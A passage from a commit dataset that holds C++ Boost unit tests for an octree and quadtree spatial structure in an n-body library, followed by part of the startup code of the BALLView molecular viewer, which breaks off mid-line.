16.0});\n\t}\n\t\n\tTestQuadtree::NodeIterator bottomNodeIt = quadtree.nodes().begin() + 3;\n\tBOOST_REQUIRE_MESSAGE(\n\t\t!bottomNodeIt.hasChildren(),\n\t\t\"deepest node shouldn't have children\");\n\tBOOST_REQUIRE_MESSAGE(\n\t\tbottomNodeIt.leafs().size() == 4,\n\t\t\"deepest node should have 4 children\");\n\t\n\tfor (std::size_t index = 0; index < quadtree.leafs().size(); ++index) {\n\t\tstd::size_t data = bottomNodeIt.leafs()[index].data;\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tdata == index,\n\t\t\t\"node at index \" + std::to_string(index) +\n\t\t\t\" has data \" + std::to_string(data));\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(OctreeShallowEraseTest) {\n\tTestOctree octree(\n\t\t{0.0, 0.0, 0.0},\n\t\t{1.0, 1.0, 1.0},\n\t\t3, 4);\n\t\n\t\/\/ Insert a single point into each quadrant.\n\tfor (std::size_t index = 0; index < 8; ++index) {\n\t\tVector<3> position = {\n\t\t\t(Scalar) (index >> 0 & 1),\n\t\t\t(Scalar) (index >> 1 & 1),\n\t\t\t(Scalar) (index >> 2 & 1)\n\t\t};\n\t\tposition *= 0.9;\n\t\tposition += {0.05, 0.05, 0.05};\n\t\toctree.insert(Leaf(index), position);\n\t}\n\t\n\t\/\/ Remove the points one at a time. Check that the number of nodes decreases\n\t\/\/ correctly as points are removed.\n\tfor (std::size_t index = 8; index-- > 0; ) {\n\t\tTestOctree::LeafIterator leaf = octree.leafs().end() - 1;\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleaf->data == index,\n\t\t\t\"leaf at index \" + std::to_string(index) +\n\t\t\t\" has data \" + std::to_string(leaf->data));\n\t\toctree.erase(leaf);\n\t\tif (index <= 3) {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 1,\n\t\t\t\t\"the root node should have no children for \" +\n\t\t\t\tstd::to_string(index) + \" leafs\");\n\t\t}\n\t\telse {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 9,\n\t\t\t\t\"the root node should have children for \" +\n\t\t\t\tstd::to_string(index) + \" leafs\");\n\t\t}\n\t}\n}\n\n<commit_msg>Added a method for verifying the structure of an octree<commit_after>#define BOOST_TEST_MODULE OctreeTest\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <algorithm>\n#include <iterator>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"octree.h\"\n#include \"tensor.h\"\n\nusing namespace nbody;\n\nstruct Leaf;\nstruct Node;\n\nusing TestOctree = Octree<Leaf, Node, 3>;\nusing TestQuadtree = Octree<Leaf, Node, 2>;\n\nstruct Leaf {\n\tstd::size_t data;\n\texplicit Leaf(int data) : data(data) {\n\t}\n\tbool operator==(Leaf const& other) const {\n\t\treturn data == other.data;\n\t}\n\tbool operator!=(Leaf const& other) const {\n\t\treturn data != other.data;\n\t}\n};\n\nstruct Node {\n\tstd::size_t data;\n\texplicit Node(int data = 0) : data(data) {\n\t}\n\tbool operator==(Node const& other) const {\n\t\treturn data == other.data;\n\t}\n\tbool operator!=(Node const& other) const {\n\t\treturn data != other.data;\n\t}\n};\n\nenum class CheckOctreeResult {\n\tSuccess,\n\tRootHasParent,\n\tLeafDuplicate,\n\tLeafMissing,\n\tDepthIncorrect,\n\tLeafOutOfBounds,\n\tNodeOverCapacity,\n\tNodeOverDepth,\n\tNodeUnderCapacity,\n\tChildLeafDuplicate,\n\tChildLeafMissing,\n\tChildParentMismatch,\n\tLeafNotInChild,\n\tLeafNotInParent,\n\tChildCountMismatch,\n};\n\n\/\/ Takes an octree and a list of leafs that should be contained within the\n\/\/ octree. Returns whether the structure of the octree is correct for the given\n\/\/ points.\ntemplate<std::size_t Dim>\nCheckOctreeResult checkOctree(\n\t\tOctree<Leaf, Node, Dim> const& octree,\n\t\tstd::vector<std::pair<Leaf, Vector<Dim> > > allLeafPairs) {\n\t\/\/ Create a stack storing the points that belong to the current node.\n\tstd::vector<std::vector<std::pair<Leaf, Vector<Dim> > > > stack;\n\tstack.push_back(allLeafPairs);\n\t\n\t\/\/ Check that the root node has no parent.\n\tif (octree.nodes().begin().hasParent()) {\n\t\treturn CheckOctreeResult::RootHasParent;\n\t}\n\t\n\t\/\/ Loop through all of the nodes.\n\tfor (\n\t\t\tauto node = octree.nodes().begin();\n\t\t\tnode != octree.nodes().end();\n\t\t\t++node) {\n\t\t\/\/ Check that the current node has depth of +1 from its parent.\n\t\tif (node.depth() !=\n\t\t\t\t(node.hasParent() ? node.parent().depth() + 1 : 0)) {\n\t\t\treturn CheckOctreeResult::DepthIncorrect;\n\t\t}\n\t\t\n\t\t\/\/ Take the top of the stack, and check whether each of the\n\t\t\/\/ leaf-position pairs are within the dimensions.\n\t\tstd::vector<std::pair<Leaf, Vector<Dim> > > leafPairs(stack.back());\n\t\tstack.pop_back();\n\t\t\n\t\tif (leafPairs.size() > node.leafs().size()) {\n\t\t\treturn CheckOctreeResult::LeafDuplicate;\n\t\t}\n\t\tif (leafPairs.size() < node.leafs().size()) {\n\t\t\treturn CheckOctreeResult::LeafMissing;\n\t\t}\n\t\t\n\t\tfor (auto leafPair : leafPairs) {\n\t\t\tauto leaf = std::find(\n\t\t\t\tnode.leafs().begin(),\n\t\t\t\tnode.leafs().end(),\n\t\t\t\tleafPair.first);\n\t\t\tif (leaf == node.leafs().end()) {\n\t\t\t\treturn CheckOctreeResult::LeafMissing;\n\t\t\t}\n\t\t\tif (leaf.position() != leafPair.second) {\n\t\t\t\tfor (std::size_t dim = 0; dim < Dim; ++dim) {\n\t\t\t\t\tScalar lower = node.position()[dim];\n\t\t\t\t\tScalar upper = lower + node.dimensions()[dim];\n\t\t\t\t\tif (!(\n\t\t\t\t\t\t\tleaf.position()[dim] >= lower &&\n\t\t\t\t\t\t\tleaf.position()[dim] < upper)) {\n\t\t\t\t\t\treturn CheckOctreeResult::LeafOutOfBounds;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (!node.hasChildren()) {\n\t\t\t\/\/ If the node doesn't have children, then make sure that it doesn't\n\t\t\t\/\/ have too many leafs and that it isn't too deep.\n\t\t\tif (node.leafs().size() > octree.nodeCapacity()) {\n\t\t\t\treturn CheckOctreeResult::NodeOverCapacity;\n\t\t\t}\n\t\t\tif (node.depth() > octree.maxDepth()) {\n\t\t\t\treturn CheckOctreeResult::NodeOverDepth;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ Otherwise, make sure it doens't have too few leafs either.\n\t\t\tif (node.leafs().size() <= octree.nodeCapacity()) {\n\t\t\t\treturn CheckOctreeResult::NodeUnderCapacity;\n\t\t\t}\n\t\t\tfor (\n\t\t\t\t\tstd::size_t childIndex = 0;\n\t\t\t\t\tchildIndex < (1 << Dim);\n\t\t\t\t\t++childIndex) {\n\t\t\t\tauto child = node.child(childIndex);\n\t\t\t\t\n\t\t\t\t\/\/ Check that the child's parent is this node.\n\t\t\t\tif (child.parent() != node) {\n\t\t\t\t\treturn CheckOctreeResult::ChildParentMismatch;\n\t\t\t\t}\n\t\t\t\t\/\/ Create a vector to store the leaf-position pairs that belong\n\t\t\t\t\/\/ to the child.\n\t\t\t\tstd::vector<std::pair<Leaf, Vector<Dim> > > childLeafPairs;\n\t\t\t\tauto lastChildLeaf = std::partition(\n\t\t\t\t\tleafPairs.begin(),\n\t\t\t\t\tleafPairs.end(),\n\t\t\t\t\t[child](std::pair<Leaf, Vector<Dim> > leafPair) {\n\t\t\t\t\t\tauto begin = child.leafs().begin();\n\t\t\t\t\t\tauto end = child.leafs().end();\n\t\t\t\t\t\treturn std::find(begin, end, leafPair.first) != end;\n\t\t\t\t\t});\n\t\t\t\tstd::copy(\n\t\t\t\t\tleafPairs.begin(),\n\t\t\t\t\tlastChildLeaf,\n\t\t\t\t\tstd::back_inserter(childLeafPairs));\n\t\t\t\tleafPairs.erase(leafPairs.begin(), lastChildLeaf);\n\t\t\t\t\n\t\t\t\t\/\/ Put the child leaf pairs onto the stack.\n\t\t\t\tif (childLeafPairs.size() != child.leafs().size()) {\n\t\t\t\t\treturn CheckOctreeResult::LeafNotInParent;\n\t\t\t\t}\n\t\t\t\tstack.push_back(childLeafPairs);\n\t\t\t}\n\t\t\t\/\/ Check that each of the leaf-position pairs belonged to at least\n\t\t\t\/\/ one of the children.\n\t\t\tif (!leafPairs.empty()) {\n\t\t\t\treturn CheckOctreeResult::LeafNotInChild;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\/\/ The stack should be empty, except if one of the nodes didn't have the\n\t\/\/ right number of children.\n\tif (!stack.empty()) {\n\t\treturn CheckOctreeResult::ChildCountMismatch;\n\t}\n\t\n\treturn CheckOctreeResult::Success;\n}\n\n\/\/ Insert 8 leafs into an octree, one per octant.\nBOOST_AUTO_TEST_CASE(OctreeShallowInsertTest) {\n\tTestOctree octree(\n\t\t{0.0, 0.0, 0.0},\n\t\t{1.0, 1.0, 1.0},\n\t\t3, 4);\n\t\n\t\/\/ Put a single leaf in each octant of the octree. Check that after the\n\t\/\/ third insertion, the root node subdivides.\n\tfor (std::size_t index = 0; index < 8; ++index) {\n\t\tVector<3> position = {\n\t\t\t(Scalar) (index >> 0 & 1),\n\t\t\t(Scalar) (index >> 1 & 1),\n\t\t\t(Scalar) (index >> 2 & 1)\n\t\t};\n\t\tposition *= 0.9;\n\t\tposition += {0.05, 0.05, 0.05};\n\t\toctree.insert(Leaf(index), position);\n\t\tif (index < 3) {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 1,\n\t\t\t\t\"the root node should have no children for \" +\n\t\t\t\tstd::to_string(index + 1) + \" leafs\");\n\t\t}\n\t\telse {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 9,\n\t\t\t\t\"the root node should have children for \" +\n\t\t\t\tstd::to_string(index + 1) + \" leafs\");\n\t\t}\n\t}\n\t\n\tBOOST_REQUIRE_MESSAGE(\n\t\toctree.leafs().size() == 8,\n\t\t\"root should have 8 leafs\");\n\t\n\tTestOctree::NodeIterator root = octree.nodes().begin();\n\t\n\tBOOST_REQUIRE_MESSAGE(\n\t\troot.hasChildren(),\n\t\t\"root should have child nodes\");\n\t\n\tTestOctree::NodeRange children = root.children();\n\t\n\tBOOST_REQUIRE_MESSAGE(\n\t\tchildren.size() == 8,\n\t\t\"root should have 8 children\");\n\t\n\tfor (std::size_t index = 0; index < 8; ++index) {\n\t\tTestOctree::NodeIterator child = children.begin() + index;\n\t\tTestOctree::LeafRange leafs = child.leafs();\n\t\tTestOctree::LeafIterator leaf = leafs.begin();\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleafs.size() == 1,\n\t\t\t\"child \" << index << \" should have 1 leaf\");\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleaf->data == index,\n\t\t\t\"leaf has data \" << leaf->data << \", should be \" << index);\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(OctreeCheckTest) {\n\tTestQuadtree quadtree(\n\t\t{0.0, 0.0},\n\t\t{16.0, 16.0},\n\t\t3, 4);\n\tVector<2> positions[] = {\n\t\t{1,  2},\n\t\t{6,  2},\n\t\t{6,  6},\n\t\t{3,  2},\n\t\t{2,  6},\n\t\t{14, 6},\n\t\t{6,  14},\n\t\t{6,  10},\n\t\t{2,  10},\n\t\t{2,  14},\n\t\t\n\t\t{10, 6},\n\t\t{10, 2},\n\t\t{9,  9},\n\t\t{15, 1},\n\t\t{13, 3},\n\t\t{15, 3},\n\t\t{13, 1},\n\t\t{11, 9},\n\t\t{9,  11},\n\t\t{11, 11},\n\t\t\n\t\t{15, 9},\n\t\t{15, 13},\n\t\t{15, 11},\n\t\t{15, 15},\n\t\t{13, 9},\n\t\t{13, 13},\n\t\t{11, 13},\n\t\t{9,  13},\n\t\t{11, 15},\n\t\t{9,  15},\n\t};\n\tstd::size_t numLeafs = sizeof(positions) \/ sizeof(positions[0]);\n\tstd::vector<std::pair<Leaf, Vector<2> > > leafPairs;\n\tfor (std::size_t index = 0; index < numLeafs; ++index) {\n\t\tLeaf leaf(index);\n\t\tVector<2> position(positions[index]);\n\t\tleafPairs.push_back(std::make_pair(leaf, position));\n\t\tquadtree.insert(leaf, position);\n\t}\n\tCheckOctreeResult result = checkOctree(quadtree, leafPairs);\n\tBOOST_REQUIRE_MESSAGE(\n\t\tresult == CheckOctreeResult::Success,\n\t\t\"octree has invalid form (\" + std::to_string((int) result) + \")\");\n}\n\n\/\/ Insert a number of leafs into a quadtree, testing deeper insertion.\nBOOST_AUTO_TEST_CASE(OctreeDeepInsertTest) {\n\tTestQuadtree quadtree(\n\t\t{0.0, 0.0},\n\t\t{16.0, 16.0},\n\t\t3, 4);\n\t\n\t\/\/ The positions where the leafs will be placed.\n\tVector<2> positions[] = {\n\t\t{1,  2},\n\t\t{6,  2},\n\t\t{6,  6},\n\t\t{3,  2},\n\t\t{2,  6},\n\t\t{14, 6},\n\t\t{6,  14},\n\t\t{6,  10},\n\t\t{2,  10},\n\t\t{2,  14},\n\t\t\n\t\t{10, 6},\n\t\t{10, 2},\n\t\t{9,  9},\n\t\t{15, 1},\n\t\t{13, 3},\n\t\t{15, 3},\n\t\t{13, 1},\n\t\t{11, 9},\n\t\t{9,  11},\n\t\t{11, 11},\n\t\t\n\t\t{15, 9},\n\t\t{15, 13},\n\t\t{15, 11},\n\t\t{15, 15},\n\t\t{13, 9},\n\t\t{13, 13},\n\t\t{11, 13},\n\t\t{9,  13},\n\t\t{11, 15},\n\t\t{9,  15},\n\t};\n\tstd::size_t numLeafs = sizeof(positions) \/ sizeof(positions[0]);\n\t\n\t\/\/ These arrays are used to verify that the structure of the quadtree is\n\t\/\/ correct.\n\t\n\t\/\/ The iteration order over the leafs (with depth-first).\n\tstd::size_t order[] = {\n\t\t0,  3,  1,  4,  2,  11, 16, 13, 14, 15,\n\t\t10, 5,  8,  7,  9,  6,  12, 17, 18, 19,\n\t\t20, 22, 24, 27, 26, 29, 28, 21, 23, 25,\n\t};\n\t\/\/ Which nodes in the depth-first iteration order have children.\n\tbool nodeHasChildren[] = {\n\t\ttrue,\n\t\t\ttrue, false, false, false, false,\n\t\t\ttrue,\n\t\t\t\tfalse,\n\t\t\t\ttrue, false, false, false, false,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\ttrue, false, false, false, false,\n\t\t\ttrue,\n\t\t\t\ttrue, false, false, false, false,\n\t\t\t\tfalse,\n\t\t\t\ttrue, false, false, false, false,\n\t\t\t\tfalse,\n\t};\n\t\/\/ How many leafs each node should have.\n\tstd::size_t nodeNumLeafs[] = {\n\t\t30,\n\t\t\t5, 2, 1, 1, 1,\n\t\t\t7, 1, 4, 1, 1, 1, 1, 1, 1,\n\t\t\t4, 1, 1, 1, 1,\n\t\t\t14, 4, 1, 1, 1, 1, 3, 4, 1, 1, 1, 1, 3,\n\t};\n\t\n\t\/\/ Actually insert all of the leafs.\n\tfor (std::size_t index = 0; index < numLeafs; ++index) {\n\t\tquadtree.insert(Leaf(index), positions[index]);\n\t}\n\t\n\t\/\/ Iterate over both the leafs and the nodes and compare them to the arrays\n\t\/\/ from above.\n\tfor (std::size_t index = 0; index < numLeafs; ++index) {\n\t\tstd::size_t leafData = quadtree.leafs()[index].data;\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleafData == order[index],\n\t\t\t\"leaf at index \" + std::to_string(index) +\n\t\t\t\" should have data \" + std::to_string(order[index]) +\n\t\t\t\" instead of data \" + std::to_string(leafData));\n\t}\n\t\n\tstd::size_t nodeIndex = 0;\n\tTestQuadtree::NodeIterator nodeIt = quadtree.nodes().begin();\n\twhile (nodeIt != quadtree.nodes().end()) {\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tnodeIt.hasChildren() == nodeHasChildren[nodeIndex],\n\t\t\t\"node at index \" + std::to_string(nodeIndex) + \" should\" +\n\t\t\t(!nodeHasChildren[nodeIndex] ? \" not\" : \"\") + \" have children\");\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tnodeIt.leafs().size() == nodeNumLeafs[nodeIndex],\n\t\t\t\"node at index \" + std::to_string(nodeIndex) +\n\t\t\t\" should have \" + std::to_string(nodeNumLeafs[nodeIndex]) +\n\t\t\t\" leafs instead of \" + std::to_string(nodeIt.leafs().size()) +\n\t\t\t\" leafs\");\n\t\t++nodeIndex;\n\t\t++nodeIt;\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(OctreeSamePointInsertTest) {\n\t\/\/ Create a quadtree with a maximum depth of 3. This corresponds to 4\n\t\/\/ generations of nodes (since the root node is at a depth of 0).\n\tTestQuadtree quadtree(\n\t\t{0.0, 0.0},\n\t\t{1.0, 1.0},\n\t\t3, 3);\n\t\n\tfor (std::size_t index = 0; index < 4; ++index) {\n\t\tquadtree.insert(Leaf(index), {1.0 \/ 16.0, 1.0 \/ 16.0});\n\t}\n\t\n\tTestQuadtree::NodeIterator bottomNodeIt = quadtree.nodes().begin() + 3;\n\tBOOST_REQUIRE_MESSAGE(\n\t\t!bottomNodeIt.hasChildren(),\n\t\t\"deepest node shouldn't have children\");\n\tBOOST_REQUIRE_MESSAGE(\n\t\tbottomNodeIt.leafs().size() == 4,\n\t\t\"deepest node should have 4 children\");\n\t\n\tfor (std::size_t index = 0; index < quadtree.leafs().size(); ++index) {\n\t\tstd::size_t data = bottomNodeIt.leafs()[index].data;\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tdata == index,\n\t\t\t\"node at index \" + std::to_string(index) +\n\t\t\t\" has data \" + std::to_string(data));\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(OctreeShallowEraseTest) {\n\tTestOctree octree(\n\t\t{0.0, 0.0, 0.0},\n\t\t{1.0, 1.0, 1.0},\n\t\t3, 4);\n\t\n\t\/\/ Insert a single point into each quadrant.\n\tfor (std::size_t index = 0; index < 8; ++index) {\n\t\tVector<3> position = {\n\t\t\t(Scalar) (index >> 0 & 1),\n\t\t\t(Scalar) (index >> 1 & 1),\n\t\t\t(Scalar) (index >> 2 & 1)\n\t\t};\n\t\tposition *= 0.9;\n\t\tposition += {0.05, 0.05, 0.05};\n\t\toctree.insert(Leaf(index), position);\n\t}\n\t\n\t\/\/ Remove the points one at a time. Check that the number of nodes decreases\n\t\/\/ correctly as points are removed.\n\tfor (std::size_t index = 8; index-- > 0; ) {\n\t\tTestOctree::LeafIterator leaf = octree.leafs().end() - 1;\n\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\tleaf->data == index,\n\t\t\t\"leaf at index \" + std::to_string(index) +\n\t\t\t\" has data \" + std::to_string(leaf->data));\n\t\toctree.erase(leaf);\n\t\tif (index <= 3) {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 1,\n\t\t\t\t\"the root node should have no children for \" +\n\t\t\t\tstd::to_string(index) + \" leafs\");\n\t\t}\n\t\telse {\n\t\t\tBOOST_REQUIRE_MESSAGE(\n\t\t\t\toctree.nodes().size() == 9,\n\t\t\t\t\"the root node should have children for \" +\n\t\t\t\tstd::to_string(index) + \" leafs\");\n\t\t}\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(OctreeDeepEraseTest) {\n\tTestQuadtree quadtree(\n\t\t{0.0, 0.0},\n\t\t{16.0, 16.0},\n\t\t3, 4);\n\t\n\t\/\/ The positions where the leafs will be placed.\n\tVector<2> positions[] = {\n\t\t{1,  2},\n\t\t{6,  2},\n\t\t{6,  6},\n\t\t{3,  2},\n\t\t{2,  6},\n\t\t{14, 6},\n\t\t{6,  14},\n\t\t{6,  10},\n\t\t{2,  10},\n\t\t{2,  14},\n\t\t\n\t\t{10, 6},\n\t\t{10, 2},\n\t\t{9,  9},\n\t\t{15, 1},\n\t\t{13, 3},\n\t\t{15, 3},\n\t\t{13, 1},\n\t\t{11, 9},\n\t\t{9,  11},\n\t\t{11, 11},\n\t\t\n\t\t{15, 9},\n\t\t{15, 13},\n\t\t{15, 11},\n\t\t{15, 15},\n\t\t{13, 9},\n\t\t{13, 13},\n\t\t{11, 13},\n\t\t{9,  13},\n\t\t{11, 15},\n\t\t{9,  15},\n\t};\n\tstd::size_t numLeafs = sizeof(positions) \/ sizeof(positions[0]);\n\t\n\t\/\/ Insert all of the leafs.\n\tfor (std::size_t index = 0; index < numLeafs; ++index) {\n\t\tquadtree.insert(Leaf(index), positions[index]);\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: main.C,v 1.20.8.3 2007\/03\/26 07:11:33 amoll Exp $\n\/\/\n\n\/\/ order of includes is important: first qapplication, than BALL includes\n#include <QtGui\/qapplication.h>\n#include <BALL\/CONFIG\/config.h>\n\n#ifdef BALL_HAS_GLEW\n#\tinclude <GL\/glew.h>\n#endif\n\n#include <QtCore\/QLocale>\n#include <QtCore\/QTranslator>\n\n#include <QtGui\/qmessagebox.h>\n#include <QtGui\/QSplashScreen>\n#include <QtOpenGL\/qgl.h>\n\n#include \"mainframe.h\"\n#include <BALL\/SYSTEM\/path.h>\n#include <BALL\/SYSTEM\/directory.h>\n#include <BALL\/FORMAT\/INIFile.h>\n#include <BALL\/SYSTEM\/fileSystem.h>\n#include <BALL\/COMMON\/logStream.h>\n\n#include <iostream>\n\n#ifdef Q_WS_X11\n#include <X11\/Xlib.h>\n#endif\n\nvoid logMessages(QtMsgType type, const char *msg)\n{\n\tBALL::String s(msg);\n\tif (s.hasPrefix(\"QTextBrowser\")) return;\n\n\tswitch ( type ) {\n\t\tcase QtDebugMsg:\n\t\t\t\tBALL::Log.info() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtWarningMsg:\n\t\t\t\tBALL::Log.warn() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtFatalMsg:\n\t\t\t\tfprintf( stderr, \"Fatal: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t\tcase QtCriticalMsg:\n\t\t\t\tfprintf( stderr, \"Critical: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t}\n}\n\n\n\/\/ uncomment this to use debugging to std::cout!\n\/\/#undef BALL_OS_WINDOWS\n\n#ifndef BALL_OS_WINDOWS\nint main(int argc, char **argv)\n{\n#else\nint WINAPI WinMain(HINSTANCE, HINSTANCE, PSTR cmd_line, int)\n{\n\tint argc = __argc;\n\tchar** argv = __argv;\n#endif\n\n#ifdef Q_WS_X11\n    XInitThreads();\n#endif\n\n\tqInstallMsgHandler(logMessages);\n\n\tputenv(\"BALL_RETURN_VALUE=\");\n\tQApplication application(argc, argv);\n\n  QPixmap splash_pm(\":BALLView-1.3-Splashscreen.png\");\n  QSplashScreen* splash = new QSplashScreen(splash_pm);\n  splash->show();\n\n\t\/\/ =============== testing for opengl support ======================================\n\tif (!QGLFormat::hasOpenGL())\n\t{\n\t\tQMessageBox::critical(0, \"Error while starting BALLView\", \n\t\t\t\t\"Your computer has no OpenGL support, please install the correct drivers. Aborting for now...\",\n\t\t\t\tQMessageBox::Ok, Qt::NoButton, Qt::NoButton);\n\t\treturn -1;\n\t}\n\n\tBALL::String home_dir = BALL::Directory::getUserHomeDir();\n\n\t\/\/ =============== load translations =====================\n\tBALL::INIFile f(home_dir + BALL::FileSystem::PATH_SEPARATOR + \".BALLView\");\n\tf.read();\n\n\tif(f.hasEntry(\"GENERAL\", \"language\")) {\n\t\tQString str = f.getValue(\"GENERAL\", \"language\").c_str();\n\n\t\tif(!(str == \"Default\")) {\n\t\t\tQString loc = \"BALLView.\" + str;\n\n\t\t\tBALL::Path p;\n\t\t\tQStringList dpaths = QString(p.getDataPath().c_str()).split(\"\\n\");\n\n\t\t\tQTranslator* translator = new QTranslator(&application);\n\t\t\tforeach(QString str, dpaths) {\n\t\t\t\ttranslator->load(loc, str + \"BALLView\/translations\");\n\t\t\t\tif(!translator->isEmpty()) {\n\t\t\t\t\tQCoreApplication::installTranslator(translator);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ =============== testing if we can write in current directoy =====================\n\tif (home_dir == \"\")\n\t{\n\t\ttry\n\t\t{\n\t\t\tBALL::String temp_file_name;\n\t\t\tBALL::File::createTemporaryFilename(temp_file_name);\n\t\t\tBALL::File out(temp_file_name, std::ios::out);\n\t\t\tout << \"test\" << std::endl;\n\t\t\tout.remove();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t\tQMessageBox::warning(0, \"Error while starting BALLView\",\n\t\t\t\t\tQString(\"You dont have write access to the current working directory\\n\") + \n\t\t\t\t\t\"and BALLView can not find your home directory. This can cause\\n\" + \n\t\t\t\t\t\"unexpected behaviour. Please start BALLView from your homedir with\\n\" + \n\t\t\t\t\t\"absolute path (e.g. C:\\\\Programs\\\\BALLView\\\\BALLView).\\n\");\n\t\t}\n\t}\n\n\t\/\/ =============== initialize Mainframe ============================================\n\t\/\/ Create the mainframe.\n\tBALL::Mainframe mainframe(0, \"Mainframe\");\n\n\t\/\/ can we use the users homedir as working dir?\n\tif (home_dir != \"\")\n\t{\n\t\tmainframe.setWorkingDir(home_dir);\n\t}\n\n\t\/\/ Register the mainfram (required for Python support).\n\tmainframe.setIdentifier(\"Mainframe\");\n\tmainframe.registerThis();\n\n\t\/\/ Show the main window.\n\tmainframe.show();\n\n\t\/\/ =============== parsing command line arguments ==================================\n\t\/\/ If there are additional command line arguments, interpret them as files to open or logging flag.\n\tfor (BALL::Index i = 1; i < argc; ++i)\n\t{\n\t\tBALL::String argument(argv[i]);\n\t\tif (argument == \"-l\") \n\t\t{\n\t\t\tmainframe.enableLoggingToFile();\n\t\t\tcontinue;\n\t\t}\n\n\t\tmainframe.openFile(argument);\n\t}\n\n\t\/\/ enable ending of program from python script\n\tif (mainframe.isAboutToQuit()) \n\t{\n\t\tmainframe.aboutToExit();\n\t\treturn 0;\n\t}\n\t\n\t\/\/ Remove the splashscreen\n\tsplash->finish(&mainframe);\n\tdelete splash;\n\n  \/\/ Hand over control to the application.\n  int value = application.exec();\n\tchar*\treturn_value = getenv(\"BALL_RETURN_VALUE\");\n\tif (return_value != 0)\n\t{\n\t\ttry\n\t\t{\n\t\t\tvalue = BALL::String(return_value).toInt();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\n\treturn value;\n}\n<commit_msg>Language support : correct formatting<commit_after>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: main.C,v 1.20.8.3 2007\/03\/26 07:11:33 amoll Exp $\n\/\/\n\n\/\/ order of includes is important: first qapplication, than BALL includes\n#include <QtGui\/qapplication.h>\n#include <BALL\/CONFIG\/config.h>\n\n#ifdef BALL_HAS_GLEW\n#\tinclude <GL\/glew.h>\n#endif\n\n#include <QtCore\/QLocale>\n#include <QtCore\/QTranslator>\n\n#include <QtGui\/qmessagebox.h>\n#include <QtGui\/QSplashScreen>\n#include <QtOpenGL\/qgl.h>\n\n#include \"mainframe.h\"\n#include <BALL\/SYSTEM\/path.h>\n#include <BALL\/SYSTEM\/directory.h>\n#include <BALL\/FORMAT\/INIFile.h>\n#include <BALL\/SYSTEM\/fileSystem.h>\n#include <BALL\/COMMON\/logStream.h>\n\n#include <iostream>\n\n#ifdef Q_WS_X11\n#include <X11\/Xlib.h>\n#endif\n\nvoid logMessages(QtMsgType type, const char *msg)\n{\n\tBALL::String s(msg);\n\tif (s.hasPrefix(\"QTextBrowser\")) return;\n\n\tswitch ( type ) {\n\t\tcase QtDebugMsg:\n\t\t\t\tBALL::Log.info() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtWarningMsg:\n\t\t\t\tBALL::Log.warn() << msg << std::endl;\n\t\t\t\tbreak;\n\t\tcase QtFatalMsg:\n\t\t\t\tfprintf( stderr, \"Fatal: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t\tcase QtCriticalMsg:\n\t\t\t\tfprintf( stderr, \"Critical: %s\\n\", msg );\n\t\t\t\tabort();                    \/\/ deliberately core dump\n\t}\n}\n\n\n\/\/ uncomment this to use debugging to std::cout!\n\/\/#undef BALL_OS_WINDOWS\n\n#ifndef BALL_OS_WINDOWS\nint main(int argc, char **argv)\n{\n#else\nint WINAPI WinMain(HINSTANCE, HINSTANCE, PSTR cmd_line, int)\n{\n\tint argc = __argc;\n\tchar** argv = __argv;\n#endif\n\n#ifdef Q_WS_X11\n    XInitThreads();\n#endif\n\n\tqInstallMsgHandler(logMessages);\n\n\tputenv(\"BALL_RETURN_VALUE=\");\n\tQApplication application(argc, argv);\n\n  QPixmap splash_pm(\":BALLView-1.3-Splashscreen.png\");\n  QSplashScreen* splash = new QSplashScreen(splash_pm);\n  splash->show();\n\n\t\/\/ =============== testing for opengl support ======================================\n\tif (!QGLFormat::hasOpenGL())\n\t{\n\t\tQMessageBox::critical(0, \"Error while starting BALLView\", \n\t\t\t\t\"Your computer has no OpenGL support, please install the correct drivers. Aborting for now...\",\n\t\t\t\tQMessageBox::Ok, Qt::NoButton, Qt::NoButton);\n\t\treturn -1;\n\t}\n\n\tBALL::String home_dir = BALL::Directory::getUserHomeDir();\n\n\t\/\/ =============== load translations =====================\n\tBALL::INIFile f(home_dir + BALL::FileSystem::PATH_SEPARATOR + \".BALLView\");\n\tf.read();\n\n\tif (f.hasEntry(\"GENERAL\", \"language\")) \n\t{\n\t\tQString str = 